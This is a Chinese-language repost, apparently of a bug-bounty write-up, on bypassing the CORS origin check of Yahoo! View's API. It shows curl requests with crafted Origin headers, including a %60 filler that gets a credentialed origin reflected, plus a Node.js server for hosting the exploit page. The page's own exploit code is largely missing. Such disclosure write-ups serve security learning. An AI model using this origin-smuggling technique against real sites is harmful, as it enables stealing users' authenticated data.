千家信息网

我如何绕过Yahoo以及View的CORS限制策略是什么

发表于:2024-11-29 作者:千家信息网编辑
千家信息网最后更新 2024年11月29日,这篇文章将为大家详细讲解有关我如何绕过Yahoo以及View的CORS限制策略是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。由于Yahoo!Vi
千家信息网最后更新 2024年11月29日我如何绕过Yahoo以及View的CORS限制策略是什么

这篇文章将为大家详细讲解有关我如何绕过Yahoo以及View的CORS限制策略是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

由于Yahoo!View存在不规范的CORS方式,允许远程攻击者绕过其中的同源策略,通过特制请求绕过拟定页面内容限制,获取相应的目标主机返回响应。

CORS策略

通过Burp Suite被动监测功能发现,网站还对API https://api.view.yahoo.com发起请求,另外还存在跨域资源共享(CORS)策略。根据Mozilla开发者网络文档介绍,CORS使用附加HTTP头的方式,允许用户端获得同一服务器不同域资源的访问权限,它定义了在跨域访问资源时浏览器和服务器之间的通信机制。

当浏览器实施同源策略(Same-Origin)时,它只接收AJAX方式对同源资源的数据获取请求,而跨域资源共享(CORS)策略则允许在指定站点外进行数据共享。

Burp测试

在Burp中最开始的API请求如下:

GET /api/session/preferences HTTP/1.1Host: api.view.yahoo.com------- snip -------origin: https://view.yahoo.com

服务端响应如下:

HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8------- snip -------Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: https://view.yahoo.com

由于服务端对origin端有响应且允许请求带有验证信息(Access-Control-Allow-Credentials)的设置为True,这样一来,我们就能从其验证信息(如cookie)中窃取敏感信息了。

首先,我尝试向API发送一个名为sxcurity.pro的请求源:

curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://sxcurity.pro'

随后,服务端响应中不包含Allow-Origin and Allow-Credentials;接下来,我尝试向API发送一个名为view.sxcurity.pro的请求源:

curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.sxcurity.pro'

可还是没有任何响应;我突发奇想,能不能用view.yahoo.com.sxcurity.pro作请求源呢?:

curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com.sxcurity.pro'

但,还是没Access-Control-Allow-Credentials或Access-Control-Allow-Origin响应,请求源变化为view.yahoo.comsxcurity.pro也无济于事。正当我要放弃时,我想到了同时对两个请求源发起请求:

curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com sxcurity.pro'

出乎意料,服务端竟然有了响应:

HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8------- snip -------Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: https://view.yahoo.com sxcurity.pro

我很好奇,试图想出一种方法,来把它变为一个有效的请求域名以便进行后期利用,我尝试向两个域名之间填充一些字符,以查看服务端的响应情况,如:

curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com%sxcurity.pro'

服务端响应如下:

HTTP/1.1 200 OKContent-Type: application/json; charset=utf-8------- snip -------Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: https://view.yahoo.com%sxcurity.pro

虽然有所响应,但由于请求源的域名无效,还是不能利用。

峰回路转

在一番请教之后,我的一个朋友告诉我,可以参考他在HackerOne提交过的一个漏洞,他在其中使用了URL编码符%60作为填充符,能有效绕过目标网站CORS策略,因此我豁然开朗,也在此利用%60作为填充符来试试:

curl -vv 'http://api.view.yahoo.com/api/session/preferences' -H 'origin: https://view.yahoo.com%60cdl.sxcurity.pro'

这里竟然也能奏效:

Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: http://view.yahoo.com%60cdl.sxcurity.pro

于是乎,我在我的亚马逊 Route 53上设置了相应的通配符域名,打开Firefox浏览http://view.yahoo.com%60cdl.hack-r.be,不行,这....,由于不同浏览器保护策略不同,用Chrome、IE、Edge也都不行!用Mac的Safari竟然可以!!,虽然Apache会把它误认为是一个服务端错误。

随后,我想到了用NodeJS和index.html的配合来实现漏洞利用,NodeJS的server.js如下:

const http = require('http')const port = 6299const fs = require("fs");const requestHandler = (request, response) => {  fs.readFile("index.html", function(err, data){  response.writeHead(200, {'Content-Type': 'text/html'});  response.write(data);  response.end();});}const server = http.createServer(requestHandler)server.listen(port, (err) => {  if (err) {    return console.log('[+] ruh roh! something went wrong :(', err)  }  console.log(`[+] server is listening on port ${port}`)})

index.html如下:

CORS

Yahoo CORs Exploit



最终,可以成功通过浏览http://view.yahoo.com%60cdl.hack-r.be,获取到api.view.yahoo.com的一些相关信息。

关于我如何绕过Yahoo以及View的CORS限制策略是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

0